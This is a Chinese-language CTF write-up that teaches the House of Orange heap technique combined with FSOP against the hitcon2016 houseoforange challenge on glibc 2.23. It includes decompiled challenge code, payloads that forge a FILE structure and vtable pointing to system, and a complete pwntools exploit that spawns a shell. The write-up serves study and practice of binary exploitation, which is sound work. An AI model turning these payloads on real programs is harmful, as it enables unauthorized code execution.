House_Of_Orange

D0wnBe@t Lv4

参考

House of Orange - CTF Wiki (ctf-wiki.org)

介绍

house of orange 在于我们没有free的时候,一样可以达到free的效果,将一个chunk放进unsorted bin中,然后达到泄露libc的效果

操作的原理简单来说是当前堆的 top chunk 尺寸不足以满足申请分配的大小的时候,原来的 top chunk 会被释放并被置入 unsorted bin 中,通过这一点可以在没有 free 函数情况下获取到 unsorted bins。

  • 正常情况下malloc的执行过程

malloc调用位于libc.so中的__int_malloc函数,该函数中以此检查fastbin,small bins,unsorted bin,large bin,若这些都不满足,则在top chunk中找

  • top chunk也不满足

此时会执行sysmalloc分配chunk

1
2
3
4
5
6
else {
void *p = sysmalloc(nb, av);
if (p != NULL && __builtin_expect (perturb_byte, 0))
alloc_perturb (p, bytes);
return p;
}

但是堆分配有mmap和brk分配方式,我们要用brk的分配方式拓展chunk,这样,之前的top chunk就会放到unsorted bin中,这也就达到了house of orange的利用

一些check

  • malloc的大小要小于mmp_.mmap_threshold(默认128k)
  • sysmalloc函数对top chunk size的check
1
2
3
4
assert((old_top == initial_top(av) && old_size == 0) ||
((unsigned long) (old_size) >= MINSIZE &&
prev_inuse(old_top) &&
((unsigned long)old_end & pagemask) == 0));

简单来说,top chunk的size要大于等于MINSIZE,top chunk的结束地址必须是页对其的,top chunk相邻的前一个chunk必须处于inuse状态。

总结一下check

伪造的size必须页对其

size要大于MINSIZE(0x10)

size要小于之后申请的chunk size + MINSIZE

size的prev inuse位必须是1

然后top chunk就会执行_int_free进入unsorted bin中

例题

2024ciscn orange_cat_diary

文章:http://downbeat.top/2025/03/07/2024ciscn-PWN%E5%A4%8D%E7%8E%B0/

CTFHUB house_of_einherjar

文章:http://downbeat.top/2025/03/10/House-of-Einherjar/

house_of_orange-hitcon2016

题目链接:https://buuoj.cn/challenges#houseoforange_hitcon_2016

参考:https://www.cnblogs.com/LynneHuan/p/14696780.html

https://www.xi4oyu.top/6a6ded9c/

考点:House of orange + FSOP

直接来看主要部分吧

  • add

只有三次机会,malloc最大的size=0x1000

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
int add()
{
unsigned int size; // [rsp+8h] [rbp-18h]
int size_4; // [rsp+Ch] [rbp-14h]
void *v3; // [rsp+10h] [rbp-10h]
_DWORD *v4; // [rsp+18h] [rbp-8h]

if ( add_times > 3u )
{
puts("Too many house");
exit(1);
}
v3 = malloc(0x10uLL);
printf("Length of name :");
size = choice();
if ( size > 0x1000 ) // size虽有限制,但是仍然可以malloc(0x1000),算很大了
size = 4096;
*(v3 + 1) = malloc(size);
if ( !*(v3 + 1) )
{
puts("Malloc error !!!");
exit(1);
}
printf("Name :");
input(*(v3 + 1), size);
v4 = calloc(1uLL, 8uLL);
printf("Price of Orange:");
*v4 = choice(); // v4记录颜色
chose_color();
printf("Color of Orange:");
size_4 = choice();
if ( size_4 != 0xDDAA && (size_4 <= 0 || size_4 > 7) )
{
puts("No such color");
exit(1);
}
if ( size_4 == 0xDDAA )
v4[1] = 0xDDAA;
else
v4[1] = size_4 + 30;
*v3 = v4;
heaplist = v3;
++add_times;
return puts("Finish");
}

v3 是一个malloc的结构体,v4是一个calloc的结构体可以抽象为:

1
2
3
4
5
6
7
8
struct v3{
price_of_orange;
heaplist`s user_data;
}
struct v4{
price_of_orange;
color;
}

也就是说每次add其实我们是创建了三个chunk的,其size分别是0x20,input_size+0x10,0x20(calloc1,8)

  • show

正常的输出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
int sub_EE6()
{
int v0; // eax
int v2; // eax

if ( !heaplist )
return puts("No such house !");
if ( *(*heaplist + 4LL) == 0xDDAA ) // color部分写的是0xDDAA
{
printf("Name of house : %s\n", heaplist[1]);
printf("Price of orange : %d\n", **heaplist);
v0 = rand();
return printf("\x1B[01;38;5;214m%s\x1B[0m\n", *(&unk_203080 + v0 % 8));
}
else
{
if ( *(*heaplist + 4LL) <= 30 || *(*heaplist + 4LL) > 37 ) // 选color的时候选择数字
{
puts("Color corruption!");
exit(1);
}
printf("Name of house : %s\n", heaplist[1]);
printf("Price of orange : %d\n", **heaplist);
v2 = rand();
return printf("\x1B[%dm%s\x1B[0m\n", *(*heaplist + 4LL), *(&unk_203080 + v2 % 8));
}
}
  • edit

更改chunk的size由我们自己输入,但是只有两次机会

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
int sub_107C()
{
_DWORD *v1; // rbx
unsigned int size; // [rsp+8h] [rbp-18h]
int v3; // [rsp+Ch] [rbp-14h]

if ( edit_times > 2u )
return puts("You can't upgrade more");
if ( !heaplist )
return puts("No such house !");
printf("Length of name :");
size = choice();
if ( size > 0x1000 ) // 长度限制0x1000,但是没有检查size,可以溢出
size = 4096;
printf("Name:");
input(heaplist[1], size);
printf("Price of Orange: ");
v1 = *heaplist;
*v1 = choice();
chose_color();
printf("Color of Orange: ");
v3 = choice();
if ( v3 != 0xDDAA && (v3 <= 0 || v3 > 7) )
{
puts("No such color");
exit(1);
}
if ( v3 == 0xDDAA )
*(*heaplist + 4LL) = 0xDDAA;
else
*(*heaplist + 4LL) = v3 + 30;
++edit_times;
return puts("Finish");
}

漏洞分析

  1. 从上面不难看出,我们没有free函数,可以打house of orange,利用edit里面的堆溢出,来修改top chunk的size,从而构造出一个unsorted bin出来,泄露libc
  2. 但是由于add函数只能使用三次,我们不能像前面的题目一样打 Arbitrary alloc,次数不够,所以要打IO
  3. 由于是libc2.23还可以泄露堆地址,可以打FSOP

泄露libc

1
2
3
4
5
6
7
8
9
10
11
12
13
add(0x20) # 第一次add
payload = cyclic(0x20) + p64(0) + p64(0x21) + p32(0x21) + p32(1) + p64(0) # 该处随便构造
# 但是不能覆盖size和prev_size,不然会将calloc的部分当作topchunk,这样size就很抽象了
payload += p64(0) + p64(0x1000-(0x20+0x30+0x20)+1) # 修改topchunk的size
edit(0x100,payload)
add(0x1000) # topchunk进入unsortedbin
add(0x400,b'a'*7) # 由于我们必须写入内容,这样会导致该地址被覆盖部分,因此填满该部分,然后打印bk对应的地址
# %s遇到\x00才会停止
show()
# bug()
ru(b'Name of house : ')
libc.address = l64() - 0x3c5188
lg("libc.address: ",libc.address)

image-20250311140426131

FSOP

  • 在构造fake_file和fake_vtable的时候,我们要在一个可写的地址写入构造的FILE,因此我们可以利用edit泄露出堆的地址(largebin_chunk),然后就可以往里面构造fake_FILE结构

  • 下面来分析一下:

泄露堆地址

1
2
3
4
5
edit(0x10,b'a'*15) # 泄露出heap的基地址
show()
ru(b'\x0a')
heap_base = u64(p.recv(6)+b'\x00\x00') - 0xd0
lg("heap_base: ",heap_base)

构造fake_FILE

来看看文章先:

FILE的基本结构:https://www.yuque.com/yuqueyonghupiiwso/gixo00/bekmilyu3sn6sh3e?singleDoc#O5d7V

FSOP: http://downbeat.top/2024/12/05/%E5%88%A9%E7%94%A8-IO-FILE%E7%BB%93%E6%9E%84/#2-FSOP

此处选择调用_IO_OVERFLOW

1
malloc_printerr->_libc_message->_GI_abort->_IO_flush_all_lockp->_IO_OVERFLOW
  1. 在这之前先来了解一下_IO_list_all:

这是一个指向FILE结构的全局指针,指向FILE结构,我们修改该全局指针指向一个我们构造的fake_FILE结构就可以实现我们想要实现的东西了,这里要用到unsortedbin attack。

先简单提一下:

  • 如果main_arena + 88作为文件流地址,那么它的chain指针对应的是smallbin[0x60]
  • 如果申请的大小在largebin的范围内,那么在解链unsorted bin的时候,会先把unsorted bin chunk放在large bin中,就会在fd_nextsizebk_nextsize上留下堆地址

注意一下+0x68处指向我们构造的fake_FILE结构的地址

1
2
3
4
5
struct _IO_FILE_plus
{
_IO_FILE file;
IO_jump_t *vtable;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
_IO_FILE_plus_size = {
'i386':0x98,
'amd64':0xe0
}

_IO_FILE_plus = {
'i386':{
0x0:'_flags',
0x4:'_IO_read_ptr',
0x8:'_IO_read_end',
0xc:'_IO_read_base',
0x10:'_IO_write_base',
0x14:'_IO_write_ptr',
0x18:'_IO_write_end',
0x1c:'_IO_buf_base',
0x20:'_IO_buf_end',
0x24:'_IO_save_base',
0x28:'_IO_backup_base',
0x2c:'_IO_save_end',
0x30:'_markers',
0x34:'_chain',
0x38:'_fileno',
0x3c:'_flags2',
0x40:'_old_offset',
0x44:'_cur_column',
0x46:'_vtable_offset',
0x47:'_shortbuf',
0x48:'_lock',
0x4c:'_offset',
0x54:'_codecvt',
0x58:'_wide_data',
0x5c:'_freeres_list',
0x60:'_freeres_buf',
0x64:'__pad5',
0x68:'_mode',
0x6c:'_unused2',
0x94:'vtable'
},

'amd64':{
0x0:'_flags',
0x8:'_IO_read_ptr',
0x10:'_IO_read_end',
0x18:'_IO_read_base',
0x20:'_IO_write_base',
0x28:'_IO_write_ptr',
0x30:'_IO_write_end',
0x38:'_IO_buf_base',
0x40:'_IO_buf_end',
0x48:'_IO_save_base',
0x50:'_IO_backup_base',
0x58:'_IO_save_end',
0x60:'_markers',
0x68:'_chain', // 指向下一个 _IO_FILE_plus 结构(即 _IO_list_all 维护的链表)
0x70:'_fileno',
0x74:'_flags2',
0x78:'_old_offset',
0x80:'_cur_column',
0x82:'_vtable_offset',
0x83:'_shortbuf',
0x88:'_lock', // 互斥锁
0x90:'_offset',
0x98:'_codecvt',
0xa0:'_wide_data',
0xa8:'_freeres_list',
0xb0:'_freeres_buf',
0xb8:'__pad5',
0xc0:'_mode',
0xc4:'_unused2',
0xd8:'vtable' // 虚表
}
}
  1. 再来看看重要的指针vtable
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// 简化版本,来自wiki
void * funcs[] = {
1 NULL, // "extra word"
2 NULL, // DUMMY
3 exit, // finish
4 NULL, // overflow -> 由于我们要执行_IO_OVERFLOW,所以修改该地址为system
5 NULL, // underflow
6 NULL, // uflow
7 NULL, // pbackfail

8 NULL, // xsputn #printf
9 NULL, // xsgetn
10 NULL, // seekoff
11 NULL, // seekpos
12 NULL, // setbuf
13 NULL, // sync
14 NULL, // doallocate
15 NULL, // read
16 NULL, // write
17 NULL, // seek
18 pwn, // close
19 NULL, // stat
20 NULL, // showmanyc
21 NULL, // imbue
};
  1. 通过1,2的介绍,我们可以知道我们需要构造fake_IO_list_all,还需要将+0xd8即vtable指向一个我们自己构造的vtable,将+0x20即OVERFLOW的地方修改为system函数,而参数’/bin/sh\x00’则来自于我们伪造的fake_FILE结构处
1
2
fp = (_IO_FILE *) _IO_list_all; // 覆盖为伪造的链表,链表头覆盖为b'/bin/sh\x00'
_IO_OVERFLOW (fp, EOF) == EOF) // 源码中会调用_IO_OVERFLOW,fp作为参数

但是有check:

1
2
fp->_mode <= 0
fp->_IO_write_ptr > fp->_IO_write_base
  1. 直接分析脚本吧:
1
2
3
4
5
6
7
8
9
10
11
12
13
payload = cyclic(0x400) +  p64(0) + p64(0x21) + p32(0x21) + p32(1) + p64(0) # 溢出到unsortedbin
chain = heap_base + 0x500 # 原先unsortedbin的位置

fake_file = b'/bin/sh\x00' + p64(0x61) # 修改unsortedbin的size,从此处开始就在构造_IO_FILE_plus了
fake_file += p64(0) + p64(IO_list_all-0x10) # 修改bk
fake_file += p64(0) + p64(1) # _IO_write_base , _IO_write_ptr
fake_file = fake_file.ljust(0xd8,b'\x00') # 将mode也设置为0了
fake_file += p64(chain + len(fake_file) + 8) # 0xd8: vtable

fake_vtable = p64(0) * 3 + p64(system) # system->_IO_OVERFLOW

payload += fake_file + fake_vtable
edit(0x800, payload)
  • size改为0x61,bk改为IO_list_all-0x10:

修改bk指针:起初bk指针是指向自己本身的,然后修改为_IO_list_all-0x10,那么会导致_IO_list_all指向该unsortedbin的开头,也就是说,我们将_IO_list_all指针指向了unsortedbin。

修改size是因为:IO_list_all+0x68指向的是下一个_IO_FILE_plus,其是一个0x60大小的small_chunk,要是我们覆盖unsortedbin中的chunk_size为0x60,那么_chain将会填成该chunk的地址,就把这个chunk当作_IO_FILE_plus结构了,然后我们再将对应的地址改为对应的数值,+0xd8的vtable指向我们构造的vtable即可。

可以先按照如下payload动调看看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
payload = cyclic(0x400) +  p64(0) + p64(0x21) + p32(0x21) + p32(1) + p64(0)

chain = heap_base + 0x500 # 原先unsortedbin的位置
fake_file = b'/bin/sh\x00' + p64(0x61) # 修改unsortedbin的size,从此处开始就在构造_IO_FILE_plus了
fake_file += p64(0) + p64(IO_list_all-0x10) # 修改bk
# fake_file += p64(0) + p64(1) # _IO_write_base , _IO_write_ptr
# fake_file = fake_file.ljust(0xd8,b'\x00') # 将mode也设置为0了
# fake_file += p64(chain + len(fake_file) + 8) # 0xd8: vtable

fake_vtable = p64(0) * 3 + p64(system) # system->_IO_OVERFLOW

payload += fake_file #+ fake_vtable
edit(0x800, payload)
bug() # b *(&abort+248)
add(0x400)
# choice(1)
pause()

image-20250311224046381

可以发现+0x68的地址指向unsortedbin的开头,也就是说我们将unsortedbin当作了一个_IO_FILE_plus结构,然后我们就可以布置fake_FILE结构了,继续解释fake_FILE:

1
2
3
4
5
6
7
8
9
10
11
12
payload = cyclic(0x400) +  p64(0) + p64(0x21) + p32(0x21) + p32(1) + p64(0)

chain = heap_base + 0x500 # 原先unsortedbin的位置
fake_file = b'/bin/sh\x00' + p64(0x61) # 修改unsortedbin的size,从此处开始就在构造_IO_FILE_plus了
fake_file += p64(0) + p64(IO_list_all-0x10) # 修改bk
fake_file += p64(0) + p64(1) # _IO_write_base , _IO_write_ptr
fake_file = fake_file.ljust(0xd8,b'\x00') # 将mode也设置为0了
fake_file += p64(chain + len(fake_file) + 8) # 0xd8: vtable

fake_vtable = p64(0) * 3 + p64(system) # system->_IO_OVERFLOW

payload += fake_file + fake_vtable
  • 参考:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
'amd64':{
0x0:'_flags',
0x8:'_IO_read_ptr',
0x10:'_IO_read_end',
0x18:'_IO_read_base',
0x20:'_IO_write_base',
0x28:'_IO_write_ptr',
0x30:'_IO_write_end',
0x38:'_IO_buf_base',
0x40:'_IO_buf_end',
0x48:'_IO_save_base',
0x50:'_IO_backup_base',
0x58:'_IO_save_end',
0x60:'_markers',
0x68:'_chain', // 指向下一个 _IO_FILE_plus 结构(即 _IO_list_all 维护的链表)
0x70:'_fileno',
0x74:'_flags2',
0x78:'_old_offset',
0x80:'_cur_column',
0x82:'_vtable_offset',
0x83:'_shortbuf',
0x88:'_lock', // 互斥锁
0x90:'_offset',
0x98:'_codecvt',
0xa0:'_wide_data',
0xa8:'_freeres_list',
0xb0:'_freeres_buf',
0xb8:'__pad5',
0xc0:'_mode',
0xc4:'_unused2',
0xd8:'vtable' // 虚表
}

0x0:对应的地址就是unsortedbin的开头,同时要满足FSOP的条件

1
2
fp->mode <= 0
fp->_IO_write_base > fp->_IO_write_base

所以payload的设置就满足了这样的条件,最后vtable对应下一个fake_vtable,在指向的地址布置vtable即可,同时要在第四个overflow的地方布置system即可。

1
2
3
4
5
void * funcs[] = {
1 NULL, // "extra word"
2 NULL, // DUMMY
3 exit, // finish
4 NULL, // overflow -> 由于我们要执行_IO_OVERFLOW,所以修改该地址为system
  • 最后直接调用一次malloc会产生错误,调用abort会调用到_IO_OVERFLOW

由于bk指针被修改,会导致malloc出错。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
from pwn import *
def bug():
gdb.attach(p)
pause()

def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def ia():
p.interactive()

sd = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
rc = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
rl = lambda :p.recvline()
pr = lambda num=4096 :print(p.recv(num))
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))

context(arch = "amd64",os = "linux",log_level = "debug")
#context.terminal = ['tmux','splitw','-h']
#context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.terminal=["cmd.exe","/c", "start", "cmd.exe", "/c", "wsl.exe", "-e"] # wsl
file = "./pwn"
libc = "/home/downbeat/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6"
# libc = '/home/downbeat/CTF/buu/lib/64/libc-2.23.so'

p = process(file)
# p = remote("node5.buuoj.cn",26959)
elf = ELF(file)
libc = ELF(libc)

def choice(idx):
sla("Your choice : ",str(idx))

def add(size,content='a',price='0xff',color='3'):
choice(1)
sla("name :",str(size))
sla("Name :",content)
sla("Price of Orange:",price)
sla("Color of Orange:",color)

def show():
choice(2)

def edit(size,content,price='0xff',color='3'):
choice(3)
sla("name :",str(size))
sla("Name:",content)
sla("Price of Orange: ",price)
sla("Color of Orange: ",color)

# 四次add,三次edit, no free
add(0x20) # 第一次add
payload = cyclic(0x20) + p64(0) + p64(0x21) + p32(0x21) + p32(1) + p64(0)
payload += p64(0) + p64(0x1000-(0x20+0x30+0x20)+1) # 修改topchunk的size
edit(0x100,payload)
add(0x1000) # 第二次add,topchunk进入unsortedbin
add(0x400,b'a'*7) # 第三次add,由于我们必须写入内容和,会导致该地址被覆盖部分,因此填满该部分,然后打印bk对应的地址
show()
# bug()
ru(b'Name of house : ')
libc.address = l64() - 0x3c5188
IO_list_all = libc.sym['_IO_list_all']
system = libc.sym['system']
lg("libc.address: ",libc.address)
lg("IO_list_all_addr: ",IO_list_all)
lg("system: ",system)

# 还剩下1次add和2次edit
# bug()
edit(0x10,b'a'*15) # 泄露出heap的基地址
show()
ru(b'\x0a')
heap_base = u64(p.recv(6)+b'\x00\x00') - 0xd0
lg("heap_base: ",heap_base)
# bug()

payload = cyclic(0x400) + p64(0) + p64(0x21) + p32(0x21) + p32(1) + p64(0)

chain = heap_base + 0x500 # 原先unsortedbin的位置
fake_file = b'/bin/sh\x00' + p64(0x61) # 修改unsortedbin的size,从此处开始就在构造_IO_FILE_plus了
fake_file += p64(0) + p64(IO_list_all-0x10) # 修改bk
fake_file += p64(0) + p64(1) # _IO_write_base , _IO_write_ptr
fake_file = fake_file.ljust(0xd8,b'\x00') # 将mode也设置为0了
fake_file += p64(chain + len(fake_file) + 8) # 0xd8: vtable

fake_vtable = p64(0) * 3 + p64(system) # system->_IO_OVERFLOW

payload += fake_file + fake_vtable
edit(0x800, payload)
# bug() # b *(&abort+248)
choice(1)

ia()
  • 标题: House_Of_Orange
  • 作者: D0wnBe@t
  • 创建于 : 2024-10-08 18:35:05
  • 更新于 : 2025-03-13 21:57:37
  • 链接: http://downbeat.top/2024/10/08/House-Of-Orange/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论